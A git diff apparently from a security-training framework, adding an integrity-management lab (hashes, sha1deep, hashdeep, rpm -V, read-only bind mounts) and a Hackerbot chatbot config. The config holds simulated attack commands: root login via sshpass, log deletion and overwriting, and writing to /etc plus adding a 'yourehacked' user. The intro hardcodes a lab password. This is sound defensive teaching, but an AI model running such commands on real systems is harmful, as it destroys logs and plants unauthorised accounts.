+you think of editing your classmates backup passwd file? This is related
+to a major issue when checking for changes to the system: if your system
+has been compromised, then you can’t necessarily trust any of the local
+software or files, since they may have been replaced or modified by an
+attacker. For that reason, it can be safer to run software (such as
+diff) from a separate read-only storage. Yet that still may not be
+enough, the entire operating system could be infected by a rootkit.
+
+Aside: Filesystems, such as btrfs, that support history and snapshots
+can also be helpful for investigating breaches in integrity.
+
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes
+of files in their known good state. Rather than storing and comparing
+complete copies, a one way hash function can be used to produce a fixed
+length hash (or “digest”), which can be used for later comparisons.
+Hashes have security properties that enable this use:
+
+- Each hash is unique to the input
+
+- It is extremely difficult (practically impossible) to find another
+ > input that produces the same hash output
+
+- Any change to the input (no matter how minor) changes the output
+ > hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether
+the file has changed (if the hash is different), or it is exactly the
+same (if the hash is the same). If you have studied digital forensics,
+many of these concepts will be familiar to you, since hashes are also
+commonly used for verifying the integrity of digital evidence.
+
+Generate an MD5 hash of your backup password file, which you copied
+above:
+
+> md5sum /tmp/passwd\_backup
+
+Now calculate a hash of your current passwd file:
+
+> md5sum /etc/passwd
+
+If the generated hashes are different, you know the files do not have
+exactly the same content.
+
+Note that using hashes, there is no need to have the backup on-hand in
+order to check the integrity of files, you can just compare a newly
+generated hash to a previous one.
+
+Repeat the above two commands using shasum rather than md5sum. SHA1 and
+SHA2 are considered to be more secure than the “cryptographically
+broken” MD5 algorithm. Although MD5 is still in use today, it is safer
+to use a stronger hash algorithm, since MD5 is not collision-resistant,
+meaning it is possible to find multiple files that result in the same
+hash. SHA1 is considered partially broken, so a new algorithm such as
+SHA2 is currently a good option. There are a number of related commands
+for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and
+so on. These commands (as well as those in the next section) are readily
+available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously
+generated hashes. A number of these kinds of tools exist, and these can
+be considered a form of host-based intrusion detection system (HIDS),
+particularly if the checking happens automatically. One of the most well
+known integrity checkers is Tripwire, which was previously released open
+source; although, new versions are closed source and maintained by
+Tripwire, Inc, with a more holistic enterprise ICT change management
+focus. There are other tools similar to Tripwire, such as AIDE (Advanced
+Intrusion Detection Environment), and OSSEC (Open Source Host-based
+Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check
+a list of file hashes.
+
+Create an empty file, where *your-name*, is your actual name:
+
+> touch *your-name*
+
+Run the following to generate a file containing hashes of files we can
+later check against:
+
+> shasum *your-name* >> /tmp/hash.sha
+>
+> shasum /etc/passwd >> /tmp/hash.sha
+>
+> sudo shasum /etc/shadow >> /tmp/hash.sha
+>
+> shasum /bin/bash >> /tmp/hash.sha
+>
+> shasum /bin/ls >> /tmp/hash.sha
+
+Look at the contents of our new hashes file (Q to quit when done):
+
+> less /tmp/hash.sha
+
+Now use your new hash list to check that nothing has changed since we
+generated the hashes:
+
+> shasum -c /tmp/hash.sha
+
+Why does shasum fail to check the integrity of the shadow file?
+
+Make a change to our empty “*your-name*” file:
+
+> echo "hello" > *your-name*
+
+Check whether anything has changed since we generated hashes:
+
+> shasum -c /tmp/hash.sha
+
+You should see a nice explanation of the files that have changed since
+generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a
+Perl script):
+
+ #!/usr/bin/perl
+
+ # Copyleft 2012, Z. Cliffe Schreuders
+
+ # Licenced under the terms of the GPLv3
+
+ use warnings;
+
+ use strict;
+
+ my %files\_hashes = (
+
+ "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+
+ "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+
+ "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+
+ );
+
+ foreach my \$file\_entry (keys %files\_hashes) {
+
+ my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`;
+
+ chomp(\$hash);
+
+ if(\$hash ne \$files\_hashes{\$file\_entry}){
+
+ warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected
+ \$files\_hashes{\$file\_entry})\\n";
+
+ } else {
+
+ print "File unmodified: \$file\_entry (hash was \$hash, as
+ expected)\\n";
+
+ }
+
+ }
+
+This script simply iterates over a list of file paths with SHA1 hashes
+(stored in an associative array), and runs sha1sum for each one to check
+whether the files are still the same.
+
+Save the script as checker.pl (Help: you may wish to install the default
+KDE GUI text editor Kate, if it is not already installed under the
+Utlities menu. You should be able to copy the script and paste it into
+Kate to save it as checker.pl. Kate can be installed using the following
+command: “sudo zypper install kate”)
+
+Then run the script with:
+
+> perl checker.pl
+
+Are the files reported as unmodified, or have they changed? Why might
+they be different to when I wrote the script?
+
+##### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for
+different hash algorithms) can recursively walk through directories (and
+into all contained subdirectories) to generate and check lists of
+hashes.
+
+Run:
+
+> sudo sha1deep -r /etc
+>
+> If the md5deep command is not available, install it:
+>
+> On openSUSE this can be done by first running “cnf sha1deep”, to find
+> the name of the package containing the program, then run the install
+> command it gives you, such as “sudo zypper install md5deep”.
+>
+> If you get “PackageKit is blocking zypper”, then select “no”, and kill
+> PackageKit, by running “kill -9 *pid*”, where *pid* is the number
+> reported by the previous command. Now run the above again.
+>
+> If the zypper command is stuck on refreshing a repository, then press
+> “Ctrl-C”, “a” (for abort), then proceed with the installation as per
+> normal.
+>
+> Once the required software is installed, try the sha1deep command
+> again.
+
+The output of the above command will include hashes of every file in
+/etc, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+> man sha1deep
+>
+> Figure out what the -r flag does.
+>
+> (Q to quit)
+
+We can save (redirect) this output to a file so that we have a record of
+the current state of our system’s configuration:
+
+> sudo sha1deep -r /etc > /tmp/etc\_hashes
+
+This may take a minute or so, while the program calculates the hashes
+and sends them to standard out (known as stdout), which is then
+redirected to the etc\_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual
+content that we have hashed...
+
+See how big our list of hashes is:
+
+> ls -hs /tmp/etc\_hashes
+>
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc:
+
+> sudo du -hs /etc
+>
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, the list of hashes is much smaller.
+
+If you are **working with a classmate**, log into their system using ssh
+(as done previously). If you are working alone, simply run all the
+commands on your own system.
+
+Create a new file somewhere in /etc/, containing your name. Name the
+file whatever you like (for example /etc/test), although the more
+inconspicuous the better.
+
+> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing
+> your name, “Esc”, “:wq”.
+
+Also, change an existing file in /etc on their system, but please do be
+careful to only make a minor change that will **not cause damage to
+their system**. For example, you could use vi to edit /etc/hostname
+(“sudo vi /etc/hostname”), and add a comment to the file such as
+“\#your-name: bet you can’t find this comment!”
+
+You can now “exit” the ssh session.
+
+**On your own system**, lets try to identify what the “attacker” has
+done to our system...
+
+Now that we have a list of hashes of our files, use shasum to check if
+anything has changed using our newly generated list of hashes
+(/tmp/etc\_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by
+checking all of the files it is told to check (possibly recursing over
+all files in a directory) against a list of hashes, and reporting
+whether any files it checked did not (or did, depending on the flags
+used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash
+previously generated:
+
+> sudo sha1deep -X /tmp/etc\_hashes -r /etc
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+> sudo cp /etc/passwd /etc/passwd.backup
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or
+sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more
+coverage when it comes to detecting files that have moved, changed, or
+created.
+
+Generate a hash list for /etc using hashdeep:
+
+> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes
+
+Hashdeep stores hashes in a different format than the previous tools.
+Have a look:
+
+> less /tmp/etc\_hashdeep\_hashes
+>
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file
+> size for each file.
+
+Delete the new file that your “attacker” (the person who sshed into your
+system) created earlier:
+
+> sudo rm /etc/*whatever-the-filename-was*
+
+Conduct a hashdeep audit to detect any changes:
+
+> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc
+>
+> Note, that this can take a while, so feel free to start working
+> through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the
+default message does not provide any information as to why an audit has
+failed:
+
+> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc
+
+Consult the man page for information about what each of the above flags
+do.
+
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise,
+install, and update software. The package management system has a
+database that keeps track of all the files for each program or software
+package. Depending on the package management system used, the database
+may maintain hashes in order to detect changes to files since install.
+RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes
+of each file that is included in software packages. There are commands
+that can be used to detect changes to files that have occurred since
+being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of
+files to not match the “fresh” versions that were installed: for
+example, configuring a system for use will involve editing configuration
+files that were distributed with software packages.
+
+The “rpm” command has a -V flag for verifying the integrity of packages.
+
+Choose any system file on the computer, such as /etc/securetty. To
+determine which package the file belongs to:
+
+> rpm -q --whatprovides *any-file-you-chose*
+>
+> Where any-file-you-chose is any file such as /etc/securetty.
+
+The output of that command the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+> rpm -V *package-name*
+>
+> Where package-name is the output from the previous command.
+
+An example from the output would be:
+
+> 5S.T..... c /etc/securetty
+
+Which means, it is a config file (c), and:
+
+- S – file Size differs
+
+- M – Mode differs (includes permissions and file type)
+
+- 5 – MD5 sum differs
+
+- D – Device major/minor number mismatch
+
+- L – readLink(2) path mismatch
+
+- U – User ownership differs
+
+- G – Group ownership differs
+
+- T – mTime differs
+
+- P – caPabilities differ
+
+Use the above information to understand the output from your above rpm
+-V command.
+
+Next verify the integrity of all of the packages on the entire system
+(this may take a while):
+
+> rpm -Va
+
+Try to understand the cause of any files failing the integrity checks.
+
+Consider the limitations of this approach: what files will (and won’t)
+this approach to integrity management cover?
+
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a
+system is compromised, you may not be able to trust any of the tools on
+the system, or even the operating system itself to behave as expected.
+In the case of a security compromise, your configuration files may have
+been altered, including any hashes you have stored locally, and tools
+may have been replaced by Trojan horses. For this reason it is safer to
+run tools over the network or from a removable drive, with read-only
+access to protect your backups and hashes. Even then, the
+OS/kernel/shell may not be telling you the truth about what is
+happening, since a rootkit could be concealing the truth from other
+programs.
+
+### Problem-based tasks
+
+#### Choosing files for integrity checking
+
+Fill in the table below with a number of files on a Unix or Windows
+system whose integrity should be monitored for security purposes:
+
+ **Filename** **Description** **Security reason for monitoring integrity**
+ --------------------- ------------------------- ---------------------------------------------------------------------------------------------------------------------
+ *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system*
+
+
+
+
+
+
+
+
+
+
+
+**Complete the table above, with a number of Unix/Windows files that
+should be monitored for integrity, as evidence that you have completed
+this part of the task.**
+
+**Label it or save it as “Integrity-A1”.**
+
+Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a
+cron job, so that every hour the integrity of some important files are
+checked, and any errors are emailed to root.
+
+Hints: Any output on standard error (stderr) on a cron job results in a
+local email to root. As root, type “mail” to read the local emails. Run
+“crontab -e” to add scheduled tasks. Google will certainly help here.
+
+Help: You may find the following links if you have not used cron before
+to run scheduled tasks.
+
+[*Click here for an openSUSE
+Video*](https://www.youtube.com/watch?v=bQfza9aLjss)
+
+[*Click here for a cron
+tutorial*](http://www.computerhope.com/unix/ucrontab.htm)
+
+[*Click here for cron
+examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/)
+
+**Take screenshots of an hourly cronjob rule, and email with an
+integrity report from md5sum/deep or hashdeep, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A2”.**
+
+Add to your above solution, by considering and implementing some
+protection against modifications to your hash file/database.
+
+**Take a screenshot of your configuration for protection of the hash
+file (and include a one sentence description), as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A3”.**
+
+Install either OSSEC (Open Source Host-based Intrusion Detection
+System), AIDE (Advanced Intrusion Detection Environment), or Tripwire
+(if you can find a copy), and use it to monitor the integrity of your
+files. Modify a file named *your-name* (your actual name) and view a
+report or alert that the integrity of the file has been compromised.
+
+**Take a screenshot of a report from OSSEC or AIDE that a file named
+after you has been altered, as evidence that you have completed this
+part of the task.**
+
+**Label it or save it as “Integrity-A4”.**
+
+Add to the integrity monitoring script given earlier, to store and
+retrieve the hashes from a file.
+
+For extra marks, protect the hashes using a HMAC, with user interaction
+to enter a password.
+
+**Save your modifications of the script, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A5”.**
+
+### Resources
+
+An excellent resource on the subject of integrity management is Chapter
+20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*,
+by Garfinkel et al (2003).
+
+[^1]: Setting a file to immutable (and therefore impossible to simply
+ delete) can be an effective prank against the uninitiated in Unix
+ ways.
+
+[^2]: It is obvious that there are risks associated with knowing each
+ other’s root passwords! Obviously, use this knowledge responsibly to
+ work together to complete the tasks.
+
+## License
+
+
+
+This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons
+Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb
new file mode 100644
index 000000000..9db3955fe
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb
@@ -0,0 +1,223 @@
+<%
+ require 'json'
+ require 'securerandom'
+ require 'digest/sha1'
+ require 'fileutils'
+ require 'erb'
+
+ if self.accounts.empty?
+ abort('Sorry, you need to provide an account')
+ end
+
+ $first_account = JSON.parse(self.accounts.first)
+ $second_account = JSON.parse(self.accounts[1])
+
+ $files = []
+ $log_files = []
+ if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0
+ $files = $first_account['leaked_filenames']
+ $log_files = $first_account['leaked_filenames'].grep(/log/)
+ end
+
+ if $files.empty?
+ $files = ['myfile', 'afile', 'filee', 'thefile']
+ end
+ if $log_files.empty?
+ $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+ end
+
+ $main_user = $first_account['username'].to_s
+ $second_user = $second_account['username'].to_s
+ $example_file = "/home/#{$main_user}/#{$files.sample}"
+ $example_dir = "/home/#{$main_user}/personal_secrets/"
+
+ $root_password = self.root_password
+ $flags = self.flags
+
+ REQUIRED_FLAGS = 5
+ while $flags.length < REQUIRED_FLAGS
+ $flags << "flag{#{SecureRandom.hex}}"
+ Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+ end
+
+ def get_binding
+ binding
+ end
+%>
+
+
+
+
+
+ Hackerbot
+
+ config/AIML
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+ Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me.
+
+
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ When you are ready, simply say 'ready'.
+ 'Ready'?
+ Better hurry, the attack is imminent... Let me know when you're 'ready'.
+ Ok, I'll do what I can to move things along...
+ Moving things along to the next attack...
+ Ok, next attack...
+ Ok, I'll do what I can to back things up...
+ Ok, previous attack...
+ Ok, backing up.
+ Ok, skipping it along.
+ Let me see what I can do to goto that attack.
+ That was the last attack for now. You can rest easy, until next time... (End.)
+ That was the last attack. Game over?
+ You are back to the beginning!
+ This is where it all began.
+ Ok. Gaining shell access, and running post command...
+ Hacking in progress...
+ Attack underway...
+ Here we go...
+ We are in to your system.
+ You are pwned.
+ We have shell.
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Wouldn't you like to know.
+
+
+ Oh no. Failed to get shell... You need to let us in.
+
+
+
+ Integrity Management: Protecting Against and Detecting Change
+ <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %>
+
+
+ true
+
+
+
+
+<% $file = SecureRandom.hex(2) -%>
+ An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file.
+
+ sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $?
+
+ Permission denied
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ 0
+ :( We managed to write to your file! You need to use access controls to protect the file. Create a new file.
+
+
+ :( Something was not right...
+
+
+ <%= ERB.new(File.read self.templates_path + 'file_permissions.md.erb').result(self.get_binding) %>
+
+
+
+<% $log_file = $log_files.sample -%>
+
+ An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes.
+
+ rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $?
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ Permission denied
+ :( You did protect the file, but not using file attributes.
+
+
+ 0
+ :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file.
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
+ <%= ERB.new(File.read self.templates_path + 'file_attributes.md.erb').result(self.get_binding) %>
+
+
+
+<% $log_file = $log_files.sample -%>
+
+ An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only.
+
+ echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $?
+
+ appended!
+ :( You stopped anything from being appended to the file. What kind of log file do you think this is?
+
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
+
+
+
+ An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only.
+
+ echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked
+
+ Read-only file system
+ :) Well done! <%= $flags.pop %>
+
+
+
+ Permission denied|Operation not permitted
+ :( You stopped the attack, but not by using read only bind mounting...
+
+
+ :( Something was not right...
+
+
+ <%= ERB.new(File.read self.templates_path + 'ro_mounting.md.erb').result(self.get_binding) %>
+
+
+
+
+ Finally, try to prevent me from obtaining shell access to your system
+ :) Failed to get shell... <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb
new file mode 100644
index 000000000..d6ab21c0e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb
@@ -0,0 +1,3 @@
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb
new file mode 100644
index 000000000..9fd03d528
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb
@@ -0,0 +1,50 @@
+# Integrity Management: Protecting Against Change
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+- hackerbot_server (leave it running, you don't log into this)
+- desktop
+
+### Your login details for the "desktop" VM
+User: <%= $main_user %>
+Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
+
+You won't login to the hackerbot_server, but the VM needs to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
+2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
+
+## Meet Hackerbot!
+
+
+This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you.
+
+**On the desktop VM:**
+
+==Open Pidgin and send some messages to Hackerbot:==
+
+- Try asking Hackerbot some questions
+- Send "help"
+- Send "list"
+- Send "hello"
+
+Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted.
+
+---
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on.
+
+> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of unauthorised changes.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb
new file mode 100644
index 000000000..99ae9bed0
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb
@@ -0,0 +1,114 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+ <%= self.html_TOC_rendered %>
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb
new file mode 100644
index 000000000..c11478e8e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb
@@ -0,0 +1,6 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb
new file mode 100644
index 000000000..374803e00
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb
@@ -0,0 +1,5 @@
+## Resources
+
+An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003).
+
+Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/)
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb
new file mode 100644
index 000000000..b35801e69
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb
@@ -0,0 +1,80 @@
+### Protecting integrity with read-only filesystems
+#### Getting to know read-only mounting
+On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do).
+
+In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only.
+
+In a command prompt, ==run:==
+
+```bash
+mount
+```
+> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents.
+
+Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point.
+
+List the contents of the /etc/ directory so you are familiar with its contents:
+
+```bash
+ls /etc/
+```
+Create a new directory to be the mount point. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/etc
+```
+==Mount the /etc/ directory to the new mount point:==
+
+```bash
+sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/
+```
+Make sure the /etc/ directory is accessible via the home-etc directory mount point:
+
+```bash
+ls /home/<%= $main_user %>/etc/
+```
+Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile1
+```
+Check that a new file has been created using the following commands:
+
+```bash
+ls -l /home/<%= $main_user %>/etc/newfile1
+```
+
+```bash
+ls -l /etc/newfile1
+```
+
+We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point.
+
+```bash
+sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/
+```
+==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile2
+```
+
+This should prevent changes being accidentally being made to important configuration files in the /etc/ directory.
+
+
+We can ==remount a directory as read-only to itself==:
+
+```bash
+sudo mount -o bind <%= $example_dir %> <%= $example_dir %>
+sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %>
+```
+
+Now even the owner of the directory (you), can't make changes. ==Try:==
+
+```bash
+cat > <%= $example_dir %>new_file
+```
+
+Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network.
+
+> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share).
diff --git a/modules/services/unix/http/apache/CHANGELOG.md b/modules/services/unix/http/apache/CHANGELOG.md
index e921ccc21..7c8fa2b83 100644
--- a/modules/services/unix/http/apache/CHANGELOG.md
+++ b/modules/services/unix/http/apache/CHANGELOG.md
@@ -1,5 +1,54 @@
-## Supported Release 1.11.0
-#### Summary
+# Change log
+
+All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
+and this project adheres to [Semantic Versioning](http://semver.org).
+
+## Supported Release [2.0.0]
+### Summary
+Major release **removing Puppet 3 support** and other backwards-incompatible changes.
+
+#### Added
+- support for FileETag directive configurable with the `file_e_tag` parameter
+- ability to configure multiple ports per vhost
+- RequestHeader directive to vhost template ([MODULES-4156](https://tickets.puppet.com/browse/MODULES-4156))
+- customizability for AllowOverride directive in userdir.conf ([MODULES-4516](https://tickets.puppet.com/browse/MODULES-4516))
+- AdvertiseFrequency directive for cluster.conf ([MODULES-4500](https://tickets.puppet.com/browse/MODULES-4500))
+- `ssl_proxy_protocol` and `ssl_sessioncache` parameters for mod::ssl ([MODULES-4737](https://tickets.puppet.com/browse/MODULES-4737))
+- SSLCACertificateFile directive in ssl.conf configurable with `ssl_ca` parameter
+- mod::authnz_pam
+- mod::intercept_form_submit
+- mod::lookup_identity
+- Suse compatibility for mod::proxy_html
+- support for AddCharset directive configurable with `add_charset` parameter
+- support for SSLProxyVerifyDepth and SSLProxyCACertificateFile directives configurable with `ssl_proxy_verify_depth` and `ssl_proxy_ca_cert` respectively
+- `manage_security_crs` parameter for mod::security
+- support for LimitExcept directive configurable with `limit_except` parameter
+- support for WSGIRestrictEmbedded directive configurable with `wsgi_restrict_embedded` parameter
+- support for custom UserDir path ([MODULES-4933](https://tickets.puppet.com/browse/MODULES-4933))
+- support for PassengerMaxRequests directive configurable with `passenger_max_requests`
